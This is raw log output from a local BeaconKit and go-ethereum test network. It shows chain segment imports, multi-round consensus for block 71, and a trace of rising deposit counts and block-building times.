2025-01-15 23:21:38 INFO [01-16|04:21:38.227] Stopping work on payload id=0x0351c383e254311f
↳ reason=delivery
2025-01-15 23:21:51 INFO [01-16|04:21:51.689] Imported new potential chain segment number=73
↳ hash=48b047..3f13a3 blocks=1 txs=0 mgas=0.000 elapsed="777.666s" mgasps=0.000 snapdiffs=22.53KiB
↳ triediffs=241.85KiB triedirty=0.00B
2025-01-15 23:22:00 INFO [01-16|04:22:00.826] Imported new potential chain segment number=73
↳ hash=4d62c4..136f8e blocks=1 txs=0 mgas=0.000 elapsed="984.278s" mgasps=0.000 snapdiffs=22.53KiB
↳ triediffs=241.85KiB triedirty=0.00B
2025-01-15 23:22:10 INFO [01-16|04:22:10.446] Imported new potential chain segment number=73
↳ hash=75cf5b..d4e53a blocks=1 txs=0 mgas=0.000 elapsed="582.716s" mgasps=0.000 age=1m2s
↳ snapdiffs=22.53KiB triediffs=241.85KiB triedirty=0.00B
2025-01-15 23:22:33 INFO [01-16|04:22:33.735] Imported new potential chain segment number=73
↳ hash=ab7a89..b423b5 blocks=1 txs=0 mgas=0.000 elapsed=1.330ms mgasps=0.000 age=1m26s
↳ snapdiffs=22.82KiB triediffs=245.78KiB triedirty=0.00B
2025-01-15 23:22:39 WARN [01-16|04:22:39.835] Ignoring already known beacon payload number=73
↳ hash=ab7a89..b423b5 age=1m32s
2025-01-15 23:22:45 INFO [01-16|04:22:45.257] Chain head was updated number=73
↳ hash=ab7a89..b423b5 root=2fb33e..132904 elapsed="102.875s" age=1m38s
2025-01-15 23:22:58 INFO [01-16|04:22:58.914] Starting work on payload id=0x031a500e85d539e2
2025-01-15 23:22:58 INFO [01-16|04:22:58.914] Updated payload id=0x031a500e85d539e2
↳ number=74 hash=3dd4aa..d7ce0b txs=0 withdrawals=2 gas=0 fees=0 root=6b1a0d..81296a
↳ elapsed="440.798s"
2025-01-15 23:23:00 INFO [01-16|04:23:00.416] Stopping work on payload id=0x031a500e85d539e2
↳ reason=delivery
2025-01-15 23:23:47 INFO [01-16|04:23:47.358] Imported new potential chain segment number=74
↳ hash=3dd4aa..d7ce0b blocks=1 txs=0 mgas=0.000 elapsed="703.523s" mgasps=0.000 age=1m8s
↳ snapdiffs=23.12KiB triediffs=249.34KiB triedirty=0.00B
2025-01-15 23:23:53 WARN [01-16|04:23:53.179] Ignoring already known beacon payload number=74
↳ hash=3dd4aa..d7ce0b age=1m14s
2025-01-15 23:23:58 INFO [01-16|04:23:58.826] Chain head was updated number=74
↳ hash=3dd4aa..d7ce0b root=6b1a0d..81296a elapsed="286.792s" age=1m19s
2025-01-15 23:24:03 INFO [01-16|04:24:03.004] Starting work on payload id=0x03031857e293c14d
2025-01-15 23:24:03 INFO [01-16|04:24:03.005] Updated payload id=0x03031857e293c14d
↳ number=75 hash=d63ce0..4f8d31 txs=0 withdrawals=2 gas=0 fees=0 root=057313..eedb24
↳ elapsed="235.771s"
2025-01-15 23:24:04 INFO [01-16|04:24:04.506] Stopping work on payload id=0x03031857e293c14d
↳ reason=delivery
2025-01-15 23:25:07 INFO [01-16|04:25:07.382] Imported new potential chain segment number=75
↳ hash=36bfde..62e1db blocks=1 txs=0 mgas=0.000 elapsed="690.034s" mgasps=0.000 age=1m14s
↳ snapdiffs=23.41KiB triediffs=252.69KiB triedirty=0.00B
2025-01-15 23:25:13 WARN [01-16|04:25:13.235] Ignoring already known beacon payload number=75
↳ hash=36bfde..62e1db age=1m20s
2025-01-15 23:25:18 INFO [01-16|04:25:18.901] Chain head was updated number=75
↳ hash=36bfde..62e1db root=057313..eedb24 elapsed="149.129s" age=1m25s
2025-01-15 23:25:18 INFO [01-16|04:25:18.917] Starting work on payload id=0x034646e89acc7a48
2025-01-15 23:25:18 INFO [01-16|04:25:18.918] Updated payload id=0x034646e89acc7a48
↳ number=76 hash=db3710..c08420 txs=0 withdrawals=2 gas=0 fees=0 root=d69b83..8a4378
↳ elapsed="344.261s"

```

```

2025-01-15 23:25:20 INFO [01-16|04:25:20.419] Stopping work on payload id=0x034646e89acc7a48
↳ reason=delivery
2025-01-15 23:26:20 INFO [01-16|04:26:20.424] Imported new potential chain segment number=76
↳ hash=10dbc4..e49e34 blocks=1 txs=0 mgas=0.000 elapsed="695.249s" mgasps=0.000 age=1m7s
↳ snapdiffs=23.70KiB triediffs=256.28KiB triedirty=0.00B
2025-01-15 23:26:26 WARN [01-16|04:26:26.248] Ignoring already known beacon payload number=76
↳ hash=10dbc4..e49e34 age=1m13s
2025-01-15 23:26:31 INFO [01-16|04:26:31.788] Chain head was updated number=76
↳ hash=10dbc4..e49e34 root=d69b83..8a4378 elapsed="165.422s" age=1m18s
2025-01-15 23:27:02 INFO [01-16|04:27:02.711] Starting work on payload id=0x036a2d4ce32370f2
2025-01-15 23:27:02 INFO [01-16|04:27:02.711] Updated payload id=0x036a2d4ce32370f2
↳ number=77 hash=8e99b8..00e7c4 txs=0 withdrawals=2 gas=0 fees=0 root=424cac..60bcf3
↳ elapsed="349.062s"
2025-01-15 23:27:04 INFO [01-16|04:27:04.212] Stopping work on payload id=0x036a2d4ce32370f2
↳ reason=delivery
2025-01-15 23:27:53 INFO [01-16|04:27:53.262] Imported new potential chain segment number=77
↳ hash=8e99b8..00e7c4 blocks=1 txs=0 mgas=0.000 elapsed="647.659s" mgasps=0.000 age=1m27s
↳ snapdiffs=23.99KiB triediffs=259.60KiB triedirty=0.00B
2025-01-15 23:27:59 WARN [01-16|04:27:59.538] Ignoring already known beacon payload number=77
↳ hash=8e99b8..00e7c4 age=1m33s
2025-01-15 23:28:05 INFO [01-16|04:28:05.439] Chain head was updated number=77
↳ hash=8e99b8..00e7c4 root=424cac..60bcf3 elapsed="109.591s" age=1m39s
2025-01-15 23:28:28 INFO [01-16|04:28:28.698] Starting work on payload id=0x03c054109832d37e
2025-01-15 23:28:28 INFO [01-16|04:28:28.699] Updated payload id=0x03c054109832d37e
↳ number=78 hash=0fc113..4e5821 txs=0 withdrawals=2 gas=0 fees=0 root=05347d..4214eb
↳ elapsed="410.053s"
2025-01-15 23:28:30 INFO [01-16|04:28:30.200] Stopping work on payload id=0x03c054109832d37e
↳ reason=delivery
2025-01-15 23:29:20 INFO [01-16|04:29:20.307] Imported new potential chain segment number=78
↳ hash=0fc113..4e5821 blocks=1 txs=0 mgas=0.000 elapsed=2.453ms mgasps=0.000 age=1m21s
↳ snapdiffs=24.29KiB triediffs=263.11KiB triedirty=0.00B
2025-01-15 23:29:26 WARN [01-16|04:29:26.959] Ignoring already known beacon payload number=78
↳ hash=0fc113..4e5821 age=1m27s
2025-01-15 23:29:33 INFO [01-16|04:29:33.143] Chain head was updated number=78
↳ hash=0fc113..4e5821 root=05347d..4214eb elapsed="88.679s" age=1m34s
2025-01-15 23:29:47 INFO [01-16|04:29:47.492] Starting work on payload id=0x03486edd6f9add5d
2025-01-15 23:29:47 INFO [01-16|04:29:47.493] Updated payload id=0x03486edd6f9add5d
↳ number=79 hash=b144ae..a6c8ff txs=0 withdrawals=2 gas=0 fees=0 root=c9bb71..d5af73
↳ elapsed="380.156s"
2025-01-15 23:29:48 INFO [01-16|04:29:48.995] Stopping work on payload id=0x03486edd6f9add5d
↳ reason=delivery

```

Output - validator - Block 71:

```

...

2025-01-15 23:18:58 2025-01-16T04:18:58Z INFO ***** (EL) ABCI Commit
2025-01-15 23:18:58 2025-01-16T04:18:58Z INFO Committed state module=state height=70
↳ block_app_hash=ACC3FF7EF3DA5AB8A8F04FA9C9819E0C9398C7CB246D27405FD157EF2D9C817F
2025-01-15 23:18:58 2025-01-16T04:18:58Z INFO Timed out module=consensus dur=-2281.474148 height=71 round=0
↳ step=RoundStepNewHeight
2025-01-15 23:18:58 2025-01-16T04:18:58Z INFO indexed block events module=txindex height=70
2025-01-15 23:19:00 2025-01-16T04:19:00Z INFO Ensure peers module=pex numOutPeers=3 numInPeers=6 numDialing=0
↳ numToDial=7
2025-01-15 23:19:00 2025-01-16T04:19:00Z INFO We need more addresses. Sending pexRequest to random peer
↳ module=pex peer=Peer{MConn{172.16.4.27:26656} 496f4e023c1b5c9091a812852f174f6fec3efb38 out}
2025-01-15 23:19:00 2025-01-16T04:19:00Z INFO Starting Peer service module=p2p
↳ peer=85fffd1c832d555c1e1ddc2a1fb05984e2ac786d0172.16.4.16:26656 impl=Peer{MConn{172.16.4.16:26656}
↳ 85fffd1c832d555c1e1ddc2a1fb05984e2ac786d out}
2025-01-15 23:19:00 2025-01-16T04:19:00Z INFO Starting MConnection service
↳ peer=85fffd1c832d555c1e1ddc2a1fb05984e2ac786d0172.16.4.16:26656 module=p2p impl=MConn{172.16.4.16:26656}
2025-01-15 23:19:01 2025-01-16T04:19:01Z INFO Timed out module=consensus dur=3000 height=71 round=0
↳ step=RoundStepPropose
2025-01-15 23:19:03 2025-01-16T04:19:03Z INFO Timed out module=consensus dur=1000 height=71 round=0
↳ step=RoundStepPrecommitWait
2025-01-15 23:19:03 2025-01-16T04:19:03Z INFO Resetting proposal info module=consensus height=71 round=1
↳ proposer=5F79731053A613EC84F7288903B7792B8A3081D3
2025-01-15 23:19:06 2025-01-16T04:19:06Z INFO Timed out module=consensus dur=3500 height=71 round=1
↳ step=RoundStepPropose
2025-01-15 23:19:10 2025-01-16T04:19:10Z INFO Received proposal module=consensus proposal=Proposal{71/1
↳ (4196A8CFE2EDA59514AE98C5A470C40B94302D0FD4FA64C3D4D8B553F23BCF15:15:A8892E587E50, -1) 8A9C7E0B1A9E @
↳ 2025-01-16T04:18:53.550909906Z} proposer=5F79731053A613EC84F7288903B7792B8A3081D3
2025-01-15 23:19:10 2025-01-16T04:19:10Z INFO Received complete proposal block module=consensus height=71
↳ hash=4196A8CFE2EDA59514AE98C5A470C40B94302D0FD4FA64C3D4D8B553F23BCF15
2025-01-15 23:19:12 2025-01-16T04:19:12Z INFO Timed out module=consensus dur=1500 height=71 round=1
↳ step=RoundStepPrecommitWait

```

```

2025-01-15 23:19:12 2025-01-16T04:19:12Z INFO Resetting proposal info module=consensus height=71 round=2
↳ proposer=9E924CE3E2F4B58D44B12D7A084FAE445B3697AD
2025-01-15 23:19:16 2025-01-16T04:19:16Z INFO Timed out module=consensus dur=4000 height=71 round=2
↳ step=RoundStepPropose
2025-01-15 23:19:20 2025-01-16T04:19:20Z INFO Received proposal module=consensus proposal=Proposal{71/2
↳ (BED00CA8875B7846182D60F01CB959C8693CC1F292AAD7C94F8988442A208879:15:8A2452491543, -1) B312AE7067F5 @
↳ 2025-01-16T04:18:53.572635065Z} proposer=9E924CE3E2F4B58D44B12D7A084FAE445B3697AD
2025-01-15 23:19:20 2025-01-16T04:19:20Z INFO Received complete proposal block module=consensus height=71
↳ hash=BED00CA8875B7846182D60F01CB959C8693CC1F292AAD7C94F8988442A208879
2025-01-15 23:19:21 2025-01-16T04:19:21Z INFO Timed out module=consensus dur=2000 height=71 round=2
↳ step=RoundStepPrecommitWait
2025-01-15 23:19:21 2025-01-16T04:19:21Z INFO Resetting proposal info module=consensus height=71 round=3
↳ proposer=A0037178DF669965ACDC0C8F5C9670EB9EE5D759
2025-01-15 23:19:21 2025-01-16T04:19:21Z INFO ***** (EL) ABCI PrepareProposal height=71
↳ proposer=a0037178df669965acdc0c8f5c9670eb9ee5d759
2025-01-15 23:19:21 2025-01-16T04:19:21Z INFO ***** (EL) BuildBlockAndSidecars service=validator
2025-01-15 23:19:21 2025-01-16T04:19:21Z INFO ***** (EL) ProcessSlots service=state-processor
2025-01-15 23:19:21 2025-01-16T04:19:21Z INFO ***** (EL) retrieveExecutionPayload service=validator
2025-01-15 23:19:21 2025-01-16T04:19:21Z INFO ***** (EL) retrieveExecutionPayload(): doing sync call
↳ service=validator
2025-01-15 23:19:21 2025-01-16T04:19:21Z INFO Forkchoice updated service=execution-engine
↳ head_block_hash=0x1d1624b0b1b7c0c6f82356d795ccf17e7fee0506263c27bf7b089508ad9197a3
↳ safe_block_hash=0x5845852f5c6fcd52364d9306b7c8c905415bcc073db01652375590d74a1cd621
↳ finalized_block_hash=0x5845852f5c6fcd52364d9306b7c8c905415bcc073db01652375590d74a1cd621
↳ with_attributes=true payload_id=0x038aa2c71ad920b7
2025-01-15 23:19:21 2025-01-16T04:19:21Z INFO Waiting for local payload to be delivered to execution client
↳ service=payload-builder for_slot=71 timeout=1.5s
2025-01-15 23:19:25 2025-01-16T04:19:25Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=295005 spent=2559.862306
2025-01-15 23:19:25 2025-01-16T04:19:25Z INFO Building block body with local deposits service=validator
↳ start_index=290005 num_deposits=5000
2025-01-15 23:19:25 2025-01-16T04:19:25Z INFO ***** (EL) Transition service=state-processor
2025-01-15 23:19:25 2025-01-16T04:19:25Z INFO ***** (EL) ProcessSlots service=state-processor
2025-01-15 23:19:25 2025-01-16T04:19:25Z INFO ***** (EL) ProcessBlock service=state-processor
2025-01-15 23:19:25 2025-01-16T04:19:25Z INFO ***** (EL) processExecutionPayload service=state-processor
2025-01-15 23:19:25 2025-01-16T04:19:25Z INFO processExecutionPayload service=state-processor consensus
↳ height=71 payload height=71 payload timestamp=1737001133 consensus timestamp=1737001133 skip payload
↳ verification=true
2025-01-15 23:19:25 2025-01-16T04:19:25Z INFO Processed withdrawals service=state-processor num_withdrawals=2
↳ bera_inflation=10
2025-01-15 23:19:25 2025-01-16T04:19:25Z INFO ***** (EL) processOperations(): service=state-processor
↳ len(deposits)=5000 sp.cs.MaxDepositsPerBlock()=5000
2025-01-15 23:19:26 2025-01-16T04:19:26Z INFO Timed out module=consensus dur=4500 height=71 round=3
↳ step=RoundStepPropose
2025-01-15 23:19:28 2025-01-16T04:19:28Z INFO Beacon block successfully built service=validator slot=71
↳ state_root=0x4d62320df1b25899be767f8e6cf97eded88689bb080d6e7144f4b37b7f4ca786 duration=7.281705277s
↳ coinbase=0x0000000000000000000000000000000000000000000000000000000000000000
2025-01-15 23:19:28 2025-01-16T04:19:28Z INFO ***** (EL) BuildBlockAndSidecars(): service=validator
↳ TimeSpent=7282.065912
2025-01-15 23:19:28 2025-01-16T04:19:28Z INFO Received proposal module=consensus proposal=Proposal{71/3
↳ (B1455B89B312095739DB26872E20C1FE29BB46FD8870D184675E62F8E087A724:15:329A0AE0BC63, -1) 840D03B8D7B4 @
↳ 2025-01-16T04:18:53.550909906Z} proposer=A0037178DF669965ACDC0C8F5C9670EB9EE5D759
2025-01-15 23:19:28 2025-01-16T04:19:28Z INFO Received complete proposal block module=consensus height=71
↳ hash=B1455B89B312095739DB26872E20C1FE29BB46FD8870D184675E62F8E087A724
2025-01-15 23:19:30 2025-01-16T04:19:30Z INFO Ensure peers module=pex numOutPeers=4 numInPeers=6 numDialing=0
↳ numToDial=6
2025-01-15 23:19:30 2025-01-16T04:19:30Z INFO We need more addresses. Sending pexRequest to random peer
↳ module=pex peer=Peer{MConn{172.16.4.15:50254} 9260cf96e1344582b9c8a6723aad1261f48910a4 in}
2025-01-15 23:19:31 2025-01-16T04:19:31Z INFO Timed out module=consensus dur=2500 height=71 round=3
↳ step=RoundStepPrecommitWait
2025-01-15 23:19:31 2025-01-16T04:19:31Z INFO Resetting proposal info round=4 module=consensus height=71
↳ proposer=DE56CA7D20A228F2F4593670EC767DE81B66CDEB
2025-01-15 23:19:31 2025-01-16T04:19:31Z INFO
2025-01-15 23:19:31
2025-01-15 23:19:31 +=====+
2025-01-15 23:19:31 + Star BeaconKit on GitHub @ https://github.com/berachain/beacon-kit +
2025-01-15 23:19:31 + Your node is running version: kurtosis-local +
2025-01-15 23:19:31 + Eth client: go-ethereum (version: 1.14.12-stable) +
2025-01-15 23:19:31 + Your system: linux/amd64 +
2025-01-15 23:19:31 + Please report issues @ https://github.com/berachain/beacon-kit/issues +
2025-01-15 23:19:31 +=====+
2025-01-15 23:19:31
2025-01-15 23:19:31
2025-01-15 23:19:31 service=reporting
2025-01-15 23:19:31 2025-01-16T04:19:31Z INFO Reporting version service=reporting version=kurtosis-local
↳ system=linux/amd64 eth_version=1.14.12-stable eth_name=go-ethereum

```

```

2025-01-15 23:19:36 2025-01-16T04:19:36Z INFO Timed out module=consensus dur=5000 height=71 round=4
↳ step=RoundStepPropose
2025-01-15 23:19:36 2025-01-16T04:19:36Z INFO Received proposal module=consensus proposal=Proposal{71/4
↳ (AC1565CE6945C89D6424F38FF8993FFD59C9700FA701C486B059AEED3CE6E174:15:11CE710A84BD, -1) 86BEE97C45AC @
↳ 2025-01-16T04:18:53.550909906Z} proposer=DE56CA7D20A228F2F4593670EC767DE81B66CDEB
2025-01-15 23:19:36 2025-01-16T04:19:36Z INFO Received complete proposal block module=consensus height=71
↳ hash=AC1565CE6945C89D6424F38FF8993FFD59C9700FA701C486B059AEED3CE6E174
2025-01-15 23:19:39 2025-01-16T04:19:39Z INFO Timed out module=consensus dur=3000 height=71 round=4
↳ step=RoundStepPrecommitWait
2025-01-15 23:19:39 2025-01-16T04:19:39Z INFO Resetting proposal info module=consensus height=71 round=5
↳ proposer=3D0581246B7F41E9E5C7FDA44EF6CBC2A7911088
2025-01-15 23:19:45 2025-01-16T04:19:45Z INFO Timed out module=consensus dur=5500 height=71 round=5
↳ step=RoundStepPropose
2025-01-15 23:19:45 2025-01-16T04:19:45Z INFO Received proposal module=consensus proposal=Proposal{71/5
↳ (4E77DB32E34AC845B86354D7A653A47925801DC8F8A299C3D5121909B14DD89A:15:E0175876B836, -1) AA076EE25924 @
↳ 2025-01-16T04:18:53.572635065Z} proposer=3D0581246B7F41E9E5C7FDA44EF6CBC2A7911088
2025-01-15 23:19:45 2025-01-16T04:19:45Z INFO Received complete proposal block module=consensus height=71
↳ hash=4E77DB32E34AC845B86354D7A653A47925801DC8F8A299C3D5121909B14DD89A
2025-01-15 23:19:48 2025-01-16T04:19:48Z INFO Timed out module=consensus dur=3500 height=71 round=5
↳ step=RoundStepPrecommitWait
2025-01-15 23:19:48 2025-01-16T04:19:48Z INFO Resetting proposal info module=consensus height=71 round=6
↳ proposer=5F79731053A613EC84F7288903B7792B8A3081D3
2025-01-15 23:19:50 2025-01-16T04:19:50Z INFO Received proposal module=consensus proposal=Proposal{71/6
↳ (DC346F6F0B92A1B5FA308EEC2B6A89FC4AF90325C4C45DFC7300397EF82907:1:0506DF22AE6C, -1) B42D1F046E57 @
↳ 2025-01-16T04:18:53.550909906Z} proposer=5F79731053A613EC84F7288903B7792B8A3081D3
2025-01-15 23:19:50 2025-01-16T04:19:50Z INFO Received complete proposal block module=consensus height=71
↳ hash=DC346F6F0B92A1B5FA308EEC2B6A89FC4AF90325C4C45DFC7300397EF82907
2025-01-15 23:19:50 2025-01-16T04:19:50Z INFO ***** (EL) ABCI ProcessProposal height=71
↳ proposer=5f79731053a613ec84f7288903b7792b8a3081d3
2025-01-15 23:19:50 2025-01-16T04:19:50Z INFO ***** (EL) ProcessProposal service=blockchain
2025-01-15 23:19:50 2025-01-16T04:19:50Z ERROR failed to process proposal height=71
↳ hash=DC346F6F0B92A1B5FA308EEC2B6A89FC4AF90325C4C45DFC7300397EF82907 err=no beacon block in abci request
2025-01-15 23:19:50 2025-01-16T04:19:50Z ERROR Prevote step: state machine rejected a proposed block; this
↳ should not happen:the proposer may be misbehaving; prevoting nil module=consensus height=71 round=6
↳ err=null
2025-01-15 23:19:54 2025-01-16T04:19:54Z INFO Timed out module=consensus dur=4000 height=71 round=6
↳ step=RoundStepPrecommitWait
2025-01-15 23:19:54 2025-01-16T04:19:54Z INFO Resetting proposal info height=71 round=7 module=consensus
↳ proposer=9E924CE3E2F4B58D44B12D7A084FAE445B3697AD
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO Received proposal module=consensus proposal=Proposal{71/7
↳ (BED00CA8875B7846182D60F01CB959C8693CC1F292AAD7C94F8988442A208879:15:8A2452491543, -1) 80992CF3452E @
↳ 2025-01-16T04:18:53.572635065Z} proposer=9E924CE3E2F4B58D44B12D7A084FAE445B3697AD
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO Received complete proposal block module=consensus height=71
↳ hash=BED00CA8875B7846182D60F01CB959C8693CC1F292AAD7C94F8988442A208879
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) ABCI ProcessProposal height=71
↳ proposer=9e924ce3e2f4b58d44b12d7a084fae445b3697ad
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) ProcessProposal service=blockchain
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) ProcessProposal(): Block unmarshalled, moving on!
↳ service=blockchain
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) ProcessProposal(): Sidecars unmarshalled, moving on!
↳ service=blockchain
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO Received incoming beacon block service=blockchain
↳ state_root=0x0458e4ce920d54867a59597bca875353cd3fb6ff83a85c3981027dd70309c2f4 slot=0x47
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) Transition service=state-processor
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) ProcessSlots service=state-processor
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) ProcessBlock service=state-processor
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) processExecutionPayload service=state-processor
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO processExecutionPayload service=state-processor consensus
↳ height=71 payload height=71 payload timestamp=1737001133 consensus timestamp=1737001133 skip payload
↳ verification=false
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) processExecutionPayload: calling
↳ validateExecutionPayload service=state-processor
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) validateStatefulPayload(): service=state-processor
↳ ChainId=80087
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO Inserted new payload into execution chain
↳ service=execution-engine
↳ payload_block_hash=0xe5fcbfd855d379a5069a2e73b3d1f30d56345cad6780b5cf8fe8a463c79fab7e
↳ payload_parent_block_hash=0x1d1624b0b1b7c0c6f82356d795ccf17e7fee0506263c27bf7b089508ad9197a3
↳ is_optimistic=false
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO Processed withdrawals service=state-processor num_withdrawals=2
↳ bera_inflation=10
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO ***** (EL) processOperations(): service=state-processor
↳ len(deposits)=5000 sp.cs.MaxDepositsPerBlock()=5000
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO Ensure peers module=pex numOutPeers=4 numInPeers=6 numDialing=0
↳ numToDial=6
2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO We need more addresses. Sending pexRequest to random peer
↳ module=pex peer=Peer{MConn{172.16.4.22:26656} af0b76245a7ec5162367dfa5d16c5564a9a15101 out}

```



```

2025-01-15 23:20:00 2025-01-16T04:20:00Z INFO Timed out module=consensus dur=6500 height=71 round=7
↳ step=RoundStepPropose
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO State root verification succeeded - accepting incoming beacon
↳ block service=blockchain state_root=0x0458e4ce920d54867a59597bca875353cd3fb6ff83a85c3981027dd70309c2f4
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO Finalizing commit of block module=consensus height=71
↳ hash=BED00CA8875B7846182D60F01CB959C8693CC1F292AAD7C94F8988442A208879
↳ root=37197A2990AC15C8ADC5FE2B16AE33CA45F2D14BA6BDB12A7A8E21BE2CB8DD98 num_txs=2
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO ***** (EL) ABCI FinalizeBlock height=71
↳ proposer=9e924ce3e2f4b58d44b12d7a084fae445b3697ad
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO ***** (EL) FinalizeBlock service=blockchain height=71
↳ proposer=9e924ce3e2f4b58d44b12d7a084fae445b3697ad
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO ***** (EL) Transition service=state-processor
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO ***** (EL) ProcessSlots service=state-processor
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO ***** (EL) ProcessBlock service=state-processor
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO ***** (EL) processExecutionPayload service=state-processor
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO processExecutionPayload service=state-processor consensus
↳ height=71 payload height=71 payload timestamp=1737001133 consensus timestamp=1737001133 skip payload
↳ verification=false
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO ***** (EL) processExecutionPayload: calling
↳ validateExecutionPayload service=state-processor
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO ***** (EL) validateStatefulPayload(): service=state-processor
↳ ChainId=80087
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO Inserted new payload into execution chain
↳ service=execution-engine
↳ payload_block_hash=0xe5fcbfd855d379a5069a2e73b3d1f30d56345cad6780b5cf8fe8a463c79fab7e
↳ payload_parent_block_hash=0xd1624b0b1b7c0c6f82356d795ccf17e7fee0506263c27bf7b089508ad9197a3
↳ is_optimistic=true
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO Processed withdrawals service=state-processor num_withdrawals=2
↳ bera_inflation=10
2025-01-15 23:20:05 2025-01-16T04:20:05Z INFO ***** (EL) processOperations(): service=state-processor
↳ len(deposits)=5000 sp.cs.MaxDepositsPerBlock()=5000
2025-01-15 23:20:11 2025-01-16T04:20:11Z INFO Finalized block module=state height=71 num_txs_res=2
↳ num_val_updates=0 block_app_hash=8F47E26C35AAACE407B5ECD15E79FBA760D0E391B89421D22C1142D9435C4926
↳ syncing_to_height=71
2025-01-15 23:20:11 2025-01-16T04:20:11Z INFO ***** (EL) ABCI Commit
...

```

Output - validator - RAW trace only:

```

2025-01-15 22:44:58 2025-01-16T03:44:58Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=5 spent=0.193388
2025-01-15 22:45:23 2025-01-16T03:45:23Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=5 spent=0.036925
2025-01-15 22:45:51 2025-01-16T03:45:51Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=10005 spent=82.315585
2025-01-15 22:46:20 2025-01-16T03:46:20Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=35005 spent=310.774275
2025-01-15 22:46:52 2025-01-16T03:46:52Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=60005 spent=504.335874
2025-01-15 22:47:36 2025-01-16T03:47:36Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=80005 spent=655.436353
2025-01-15 22:47:43 2025-01-16T03:47:43Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=85005 spent=696.894814
2025-01-15 22:48:32 2025-01-16T03:48:32Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=100005 spent=890.530517
2025-01-15 22:48:45 2025-01-16T03:48:45Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=105005 spent=870.977873
2025-01-15 22:49:12 2025-01-16T03:49:12Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=110005 spent=922.387752
2025-01-15 22:50:18 2025-01-16T03:50:18Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=125005 spent=1067.667636
2025-01-15 22:50:42 2025-01-16T03:50:42Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=130005 spent=1074.200170
2025-01-15 22:51:04 2025-01-16T03:51:04Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=135005 spent=1160.058575
2025-01-15 22:52:05 2025-01-16T03:52:05Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=140005 spent=1221.172088
2025-01-15 22:52:33 2025-01-16T03:52:33Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=145005 spent=1233.038537
2025-01-15 22:52:53 2025-01-16T03:52:53Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=150005 spent=1347.597345
2025-01-15 22:53:14 2025-01-16T03:53:14Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=155005 spent=1472.126283
2025-01-15 22:53:45 2025-01-16T03:53:45Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=160005 spent=1654.488226

```

```

2025-01-15 22:54:18 2025-01-16T03:54:18Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=160005 spent=1512.875929
2025-01-15 22:54:55 2025-01-16T03:54:55Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=165005 spent=1547.391333
2025-01-15 22:55:23 2025-01-16T03:55:23Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=170005 spent=1605.394505
2025-01-15 22:56:01 2025-01-16T03:56:01Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=175005 spent=1579.760534
2025-01-15 22:56:44 2025-01-16T03:56:44Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=180005 spent=1666.288924
2025-01-15 22:57:29 2025-01-16T03:57:29Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=185005 spent=1746.801987
2025-01-15 22:58:03 2025-01-16T03:58:03Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=185005 spent=1542.883366
2025-01-15 22:58:42 2025-01-16T03:58:42Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=190005 spent=1617.927133
2025-01-15 22:59:27 2025-01-16T03:59:27Z INFO ***** (EL) buildBlockBody(): RAW service=validator
↳ num_deposits=195005 spent=1729.500244
